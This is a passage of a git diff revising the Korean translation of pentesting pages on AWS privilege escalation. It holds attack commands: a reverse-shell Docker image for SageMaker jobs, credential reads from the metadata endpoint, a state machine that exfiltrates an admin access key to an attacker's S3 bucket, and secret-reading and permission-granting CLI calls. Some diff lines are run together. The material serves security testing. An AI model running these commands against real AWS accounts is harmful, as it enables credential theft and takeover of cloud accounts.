-공격자는 **같은 계정에서** 있어야 하며, 그렇지 않으면 `지정된 방법이 허용되지 않습니다`라는 오류가 발생합니다. 이 권한을 가진 공격자는 자신에게 더 많은 권한을 부여하여 버킷을 읽고, 쓰고, 수정하고, 삭제하고, 노출할 수 있습니다.
+공격자는 **같은 계정에서** 있어야 하며, 그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생합니다. 이 권한을 가진 공격자는 자신에게 더 많은 권한을 부여하여 버킷을 읽고, 쓰고, 수정하고, 삭제하고, 노출할 수 있습니다.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket 
@@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket 
 ```
-브라우저로 URL에 접속하고 오른쪽 상단의 \`Open JupyterLab\`을 클릭한 다음, “Launcher” 탭으로 스크롤하여 “Other” 섹션 아래의 “Terminal” 버튼을 클릭합니다.
+브라우저로 URL에 접속하고 오른쪽 상단의 \`Open JupyterLab\`을 클릭한 다음, “Launcher” 탭으로 스크롤하여 “Other” 섹션에서 “Terminal” 버튼을 클릭합니다.
 
-이제 IAM 역할의 메타데이터 자격 증명에 접근할 수 있습니다.
+이제 IAM Role의 메타데이터 자격 증명에 접근할 수 있습니다.
 
-**Potential Impact:** 지정된 sagemaker 서비스 역할로의 권한 상승.
+**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 권한 상승.
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name  [!WARNING]
-> 이 시나리오는 이전보다 악용하기 더 어렵습니다. 왜냐하면 공격자가 rev shell 또는 자격 증명을 직접 전송할 Docker 이미지를 생성해야 하기 때문입니다(훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다).
+> 이 시나리오는 이전 것보다 악용하기 더 어렵습니다. 왜냐하면 Docker 이미지를 생성해야 하며, 이 이미지는 rev shell 또는 자격 증명을 공격자에게 직접 전송해야 하기 때문입니다 (훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다).
 >
 > ```bash
-> # Create docker image
+> # 도커 이미지 생성
 > mkdir /tmp/rev
-> ## 훈련 작업이 "train"이라는 실행 파일을 호출할 것임을 주의하세요.
-> ## 그래서 rev shell을 /bin/train에 넣고 있습니다.
-> ## 의 값을 설정하세요.
+> ## 훈련 작업이 "train"이라는 실행 파일을 호출할 것임을 주의하세요
+> ## 그래서 rev shell을 /bin/train에 넣고 있습니다
+> ## 의 값을 설정하세요
 > cat > /tmp/rev/Dockerfile < FROM ubuntu
 > RUN apt update && apt install -y ncat curl
@@ -71,7 +71,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
 > cd /tmp/rev
 > sudo docker build . -t reverseshell
 >
-> # Upload it to ECR
+> # ECR에 업로드
 > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/
 > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest
 > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
 해당 권한을 가진 공격자는 (잠재적으로) **하이퍼파라미터 훈련 작업**을 생성할 수 있으며, **임의의 컨테이너**를 실행하고 **연결된 역할**을 부여할 수 있습니다.\
-&#xNAN;_시간 부족으로 인해 악용하지 않았지만, 이전의 악용과 유사해 보입니다. 악용 세부정보와 함께 PR을 보내주시면 됩니다._
+&#xNAN;_I 시간 부족으로 인해 악용하지 않았지만, 이전의 악용과 유사해 보입니다. 악용 세부정보와 함께 PR을 보내주시면 좋겠습니다._
 
 ## 참조
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index f1a5c006d..4ce4a0f37 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-Secrets manager에 대한 자세한 정보는 다음을 확인하세요:
+Secrets Manager에 대한 자세한 정보는 다음을 확인하세요:
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,7 +12,7 @@ Secrets manager에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `secretsmanager:GetSecretValue`
 
-이 권한을 가진 공격자는 AWS **Secretsmanager**에서 **비밀 내부에 저장된 값**을 가져올 수 있습니다.
+이 권한을 가진 공격자는 AWS **Secretsmanager**의 **비밀에 저장된 값**을 가져올 수 있습니다.
 ```bash
 aws secretsmanager get-secret-value --secret-id  # Get value
 ```
@@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id  # Get value
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-이전 권한을 통해 **다른 주체/계정(외부 포함)** 에게 **비밀**에 접근할 수 있는 권한을 **부여할 수 있습니다**. KMS 키로 암호화된 **비밀**을 **읽기 위해서는** 사용자가 **KMS 키에 대한 접근 권한**도 필요하다는 점에 유의하십시오 (자세한 내용은 [KMS Enum 페이지](../aws-services/aws-kms-enum.md)에서 확인할 수 있습니다).
+이전 권한을 통해 **다른 주체/계정(외부 포함)** 에게 **비밀**에 접근할 수 있는 권한을 **부여**할 수 있습니다. KMS 키로 암호화된 **비밀**을 **읽기** 위해서는 사용자가 **KMS 키에 대한 접근 권한**도 필요하다는 점에 유의하십시오 (자세한 내용은 [KMS Enum 페이지](../aws-services/aws-kms-enum.md)에서 확인할 수 있습니다).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index 75aa6b3a6..839624a31 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -12,7 +12,7 @@
 
 ### `sns:Publish`
 
-공격자는 악의적이거나 원치 않는 메시지를 SNS 주제로 전송할 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 리소스를 소모할 수 있습니다.
+공격자는 악의적이거나 원치 않는 메시지를 SNS 주제로 전송할 수 있으며, 이는 데이터 손상, 의도하지 않은 작업의 트리거 또는 리소스 소모를 초래할 수 있습니다.
 ```bash
 aws sns publish --topic-arn  --message 
 ```
@@ -32,6 +32,6 @@ aws sns subscribe --topic-arn  --protocol  --endpoint 
 ```css
 aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
 ```
-**Potential Impact**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
+**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. 
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index da481a41b..68a9d1fa2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -35,6 +35,6 @@ aws sqs receive-message --queue-url 
 aws sqs delete-message --queue-url  --receipt-handle 
 aws sqs change-message-visibility --queue-url  --receipt-handle  --visibility-timeout 
 ```
-**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
+**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. 
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index f4b511453..4c4b48f64 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -12,7 +12,7 @@ SSM에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `ssm:SendCommand`
 
-**`ssm:SendCommand`** 권한이 있는 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 명령을 실행**하고 **그 안에서 실행 중인 IAM 역할을 손상시킬 수 있습니다.**
+**`ssm:SendCommand`** 권한이 있는 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 명령을 실행**하고 **그 안에서 실행 중인 IAM Role을 손상시킬 수 있습니다.**
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -52,8 +52,8 @@ aws ssm start-session --target "$INSTANCE_ID"
 #### ECS로의 권한 상승
 
 **ECS 작업**이 **`ExecuteCommand`가 활성화된 상태**에서 실행될 때, 충분한 권한을 가진 사용자는 `ecs execute-command`를 사용하여 **컨테이너 내에서 명령을 실행**할 수 있습니다.\
-[**문서에 따르면**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) 이는 “_exec_“ 명령을 시작하는 데 사용하는 장치와 SSM 세션 관리자와 함께 대상 컨테이너 간에 안전한 채널을 생성하여 수행됩니다. (이 작업을 수행하려면 SSM 세션 관리자 플러그인이 필요합니다)\
-따라서 `ssm:StartSession` 권한이 있는 사용자는 해당 옵션이 활성화된 ECS 작업 내에서 **쉘을 얻을 수 있습니다**.
+[**문서**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)에 따르면, 이는 “_exec_“ 명령을 시작하는 데 사용하는 장치와 SSM 세션 관리자와의 대상 컨테이너 간에 안전한 채널을 생성하여 수행됩니다. (이 작업을 수행하려면 SSM 세션 관리자 플러그인이 필요합니다)\
+따라서 `ssm:StartSession` 권한이 있는 사용자는 해당 옵션이 활성화된 ECS 작업 내에서 **셸을 얻을 수 있습니다**.
 ```bash
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
@@ -63,7 +63,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 
 ### `ssm:ResumeSession`
 
-**`ssm:ResumeSession`** 권한이 있는 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서** 연결이 끊긴 SSM 세션 상태로 SSH와 유사한 세션을 재시작하고 **그 안에서 실행 중인 IAM 역할을 타협할 수 있습니다.**
+**`ssm:ResumeSession`** 권한이 있는 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 재시작**할 수 있으며, **그 안에서 실행 중인 IAM 역할을 타격할 수 있습니다.**
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
 aws ssm resume-session \
 --session-id Mary-Major-07a16060613c408b5
 ```
-**잠재적 영향:** SSM 에이전트가 실행 중이고 연결이 끊어진 세션이 있는 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접적인 권한 상승.
+**잠재적 영향:** SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접적인 권한 상승이 가능합니다.
 
 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
 
-언급된 권한을 가진 공격자는 **SSM 매개변수**를 나열하고 **일반 텍스트로 읽을 수** 있습니다. 이러한 매개변수에서는 종종 SSH 키나 API 키와 같은 **민감한 정보**를 **찾을 수** 있습니다.
+언급된 권한을 가진 공격자는 **SSM 매개변수**를 나열하고 **평문으로 읽을 수** 있습니다. 이러한 매개변수에서 종종 **민감한 정보**를 찾을 수 있습니다. 예를 들어 SSH 키나 API 키가 포함될 수 있습니다.
 ```bash
 aws ssm describe-parameters
 # Suppose that you found a parameter called "id_rsa"
@@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption
 
 ### `ssm:ListCommands`
 
-이 권한을 가진 공격자는 모든 **명령**을 나열할 수 있으며, 그 안에서 **민감한 정보**를 찾을 수 있기를 바랍니다.
+이 권한을 가진 공격자는 모든 **명령**을 나열할 수 있으며, 그들 안에서 **민감한 정보**를 찾을 수 있기를 바랍니다.
 ```
 aws ssm list-commands
 ```
@@ -95,7 +95,7 @@ aws ssm list-commands
 
 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
 
-이 권한을 가진 공격자는 모든 **명령**을 나열하고 **출력**을 읽을 수 있으며, 이를 통해 **민감한 정보**를 찾을 수 있습니다.
+이 권한을 가진 공격자는 전송된 모든 **명령**을 나열하고 **출력**을 읽을 수 있으며, 이를 통해 **민감한 정보**를 찾을 수 있습니다.
 ```bash
 # You can use any of both options to get the command-id and instance id
 aws ssm list-commands
@@ -103,7 +103,7 @@ aws ssm list-command-invocations
 
 aws ssm get-command-invocation --command-id  --instance-id 
 ```
-**잠재적 영향:** 명령어 출력에서 민감한 정보를 찾습니다.
+**잠재적 영향:** 명령줄 출력에서 민감한 정보를 찾습니다.
 
 ### Codebuild
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index f78e74124..22dd3b38f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -17,7 +17,7 @@ AWS Identity Center / AWS SSO에 대한 자세한 정보는 다음을 확인하
 
 ### ~~비밀번호 재설정~~
 
-이와 같은 경우 권한을 상승시키는 쉬운 방법은 사용자의 비밀번호를 재설정할 수 있는 권한을 가지는 것입니다. 불행히도 사용자의 비밀번호를 재설정하기 위해 이메일을 보내는 것만 가능하므로 사용자의 이메일에 접근할 필요가 있습니다.
+이와 같은 경우 권한을 상승시키는 쉬운 방법은 사용자의 비밀번호를 재설정할 수 있는 권한을 가지는 것입니다. 불행히도 사용자의 비밀번호를 재설정하기 위해 사용자에게 이메일을 보내는 것만 가능하므로 사용자의 이메일에 접근할 필요가 있습니다.
 
 ### `identitystore:CreateGroupMembership`
 
@@ -73,7 +73,7 @@ aws sso-admin provision-permission-set --instance-arn  --permissio
 ```
 ### `sso:CreateAccountAssignment`
 
-이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 계정에 대한 권한 세트를 부여할 수 있습니다.
+이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 계정에 대한 Permission Set을 부여할 수 있습니다.
 ```bash
 aws sso-admin create-account-assignment --instance-arn  --target-id  --target-type AWS_ACCOUNT --permission-set-arn  --principal-type USER --principal-id 
 ```
@@ -83,7 +83,7 @@ aws sso-admin create-account-assignment --instance-arn  --target-i
 ```
 aws sso get-role-credentials --role-name  --account-id  --access-token 
 ```
-그러나, 어떻게 접근 토큰을 얻는지 잘 모르겠습니다 (TODO).
+그러나 어떻게 액세스 토큰을 얻는지 잘 모르겠습니다 (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
@@ -93,13 +93,13 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn  --permission-set-arn  --customer-managed-policy-reference 
 ```
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
-이 권한을 가진 공격자는 권한 세트에서 인라인 정책의 권한을 제거할 수 있습니다. 인라인 정책(거부 정책)을 분리하여 **더 많은 권한을 부여하는 것이 가능합니다**.
+이 권한을 가진 공격자는 권한 세트에서 인라인 정책의 권한을 제거할 수 있습니다. 인라인 정책(거부 정책)을 분리하여 **더 많은 권한을 부여하는** 것이 가능합니다.
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn  --permission-set-arn 
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index 82f5519ba..b5b88f91f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -14,7 +14,7 @@
 
 이 권한 상승 기술은 원하는 권한 상승 작업을 수행하기 위해 일부 AWS 스텝 함수 리소스를 사용해야 합니다.
 
-모든 가능한 작업을 확인하려면 자신의 AWS 계정으로 가서 사용하고 싶은 작업을 선택하고 사용하는 매개변수를 확인할 수 있습니다. 예를 들어:
+모든 가능한 작업을 확인하려면 자신의 AWS 계정으로 가서 사용하고 싶은 작업을 선택하고 사용하는 매개변수를 확인할 수 있습니다, 예를 들어:
 
 
@@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **Command** 실행하여 권한 상승을 수행: +- **권한 상승**을 수행하기 위해 실행된 **명령**: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **상태 기계 표현**에만 해당됩니다). +**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다). ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -다음 예제는 **`admin`** 사용자에 대한 액세스 키를 생성하고 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 상태 기계를 만드는 방법을 보여줍니다. 이는 이러한 권한과 AWS 환경의 관대한 역할을 활용합니다. 이 관대한 역할은 상태 기계가 **`iam:CreateAccessKey`** 및 **`s3:putObject`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)과 연결되어 있어야 합니다. +다음 예제는 **`admin`** 사용자에 대한 액세스 키를 생성하고 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 상태 기계를 만드는 방법을 보여줍니다. 이는 이러한 권한과 AWS 환경의 관대한 역할을 활용합니다. 이 관대한 역할은 상태 기계가 **`iam:CreateAccessKey`** 및 **`s3:putObject`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다. - **stateMachineDefinition.json**: ```json @@ -115,8 +115,7 @@ aws states start-sync-execution --state-machine-arn [--name ] [-- } } ``` -- **Command** executed to **create the state machine**: - **상태 머신**을 **생성하기 위해** 실행된 **명령**: +- **상태 머신**을 **생성하기 위해** 실행된 **명령**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -124,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행되었습니다: +- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행됩니다: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -139,17 +138,17 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 ### `states:UpdateStateMachine` & (항상 필요하지 않음) `iam:PassRole` -**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 합법적인 사용자가 상태 기계의 실행을 시작할 때, 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다. +**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 머신의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 머신의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다. -상태 기계와 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 2가지 상황에 직면할 수 있습니다: +상태 머신에 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다: -1. **관대한 IAM 역할**: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분하기 때문입니다. -2. **비관대한 IAM 역할**: 이전 경우와 대조적으로, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결해야 하므로 **`iam:PassRole`** 권한이 필요합니다. +1. **관대한 IAM 역할**: 상태 머신에 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 머신 정의만으로도 충분하기 때문입니다. +2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 머신 정의를 수정하는 것 외에도 상태 머신에 관대한 IAM 역할을 연결해야 하므로 **`iam:PassRole`** 권한이 필요합니다. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공하게 됩니다. +다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공적으로 이루어집니다. > [!WARNING] > 상태 머신에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 데 **`iam:PassRole`** 권한이 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할). @@ -219,7 +218,7 @@ aws states update-state-machine --state-machine-arn [--definition [!CAUTION] -> 이 경우 `sts:AssumeRole` 권한은 **악용할 역할에 명시되어야** 하며 공격자의 정책에는 명시되어서는 안 됩니다.\ -> 한 가지 예외를 제외하고, **다른 계정의 역할을 가정하기 위해서는** 공격자 계정이 **역할에 대한 `sts:AssumeRole`** 권한을 **가지고 있어야** 합니다. +> 이 경우 권한 `sts:AssumeRole`은 **악용할 역할에 명시되어야** 하며 공격자의 정책에는 명시되지 않아야 합니다.\ +> 한 가지 예외를 제외하고, **다른 계정의 역할을 가정하기 위해** 공격자 계정은 **역할에 대한 `sts:AssumeRole`** 권한도 **필요합니다.** ### **`sts:GetFederationToken`** -이 권한을 사용하면 어떤 사용자를 가장하기 위한 자격 증명을 생성할 수 있습니다: +이 권한을 사용하면 모든 사용자를 가장하기 위한 자격 증명을 생성할 수 있습니다: ```bash aws sts get-federation-token --name ``` @@ -57,7 +57,7 @@ aws sts get-federation-token --name 이 역할에 대한 신뢰 정책은 **SAML을 통해 인증된 사용자에게 역할을 가장할 수 있는 권한을 부여합니다.** -이 권한이 있는 신뢰 정책의 예는: +이 권한이 포함된 신뢰 정책의 예는: ```json { "Version": "2012-10-17", @@ -78,11 +78,11 @@ aws sts get-federation-token --name ] } ``` -일반적으로 역할을 가장하기 위해 자격 증명을 생성하려면 다음과 같은 방법을 사용할 수 있습니다: +역할을 가장하기 위한 자격 증명을 생성하려면 일반적으로 다음과 같은 방법을 사용할 수 있습니다: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -하지만 **제공자**는 이를 더 쉽게 만들기 위해 **자신의 도구**를 가질 수 있습니다, 예를 들어 [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +하지만 **제공자**는 [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role)와 같이 이를 더 쉽게 만들기 위한 **자체 도구**를 가질 수 있습니다: ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` @@ -90,9 +90,9 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- ### `sts:AssumeRoleWithWebIdentity` -이 권한은 **웹 아이덴티티 공급자를 통해 인증된 모바일, 웹 애플리케이션, EKS...** 사용자에 대한 일련의 임시 보안 자격 증명을 얻을 수 있는 권한을 부여합니다. [자세히 알아보기.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +이 권한은 **웹 아이덴티티 공급자를 통해 인증된 모바일, 웹 애플리케이션, EKS...의 사용자**를 위해 일련의 임시 보안 자격 증명을 얻을 수 있는 권한을 부여합니다. [여기에서 자세히 알아보세요.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -예를 들어, **EKS 서비스 계정**이 **IAM 역할을 가장할 수 있어야** 하는 경우, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`**에 토큰이 있으며, 다음과 같은 방법으로 **역할을 가정하고 자격 증명을 얻을 수** 있습니다: +예를 들어, **EKS 서비스 계정**이 **IAM 역할을 가장할 수 있어야** 하는 경우, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`**에 토큰이 있으며, 역할을 **가정하고 자격 증명을 얻을 수** 있습니다. ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 8492f0db5..b64b2fd8a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,9 +15,9 @@ WorkDocs에 대한 자세한 정보는 다음을 확인하세요: # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` -파일에는 민감한 정보가 포함될 수 있으므로 읽어보십시오: +파일에는 민감한 정보가 포함될 수 있으므로 읽어보세요: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -읽을 수 있는 권한이 없다면, 그냥 권한을 부여할 수 있습니다. +읽을 수 있는 권한이 없으면, 그냥 권한을 부여할 수 있습니다. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -43,4 +43,4 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo 해당 사용자로 workdoc에 로그인하고 `/workdocs/index.html#/admin`에서 관리 패널에 접근합니다. -cli에서 이를 수행할 방법을 찾지 못했습니다. +cli를 통해 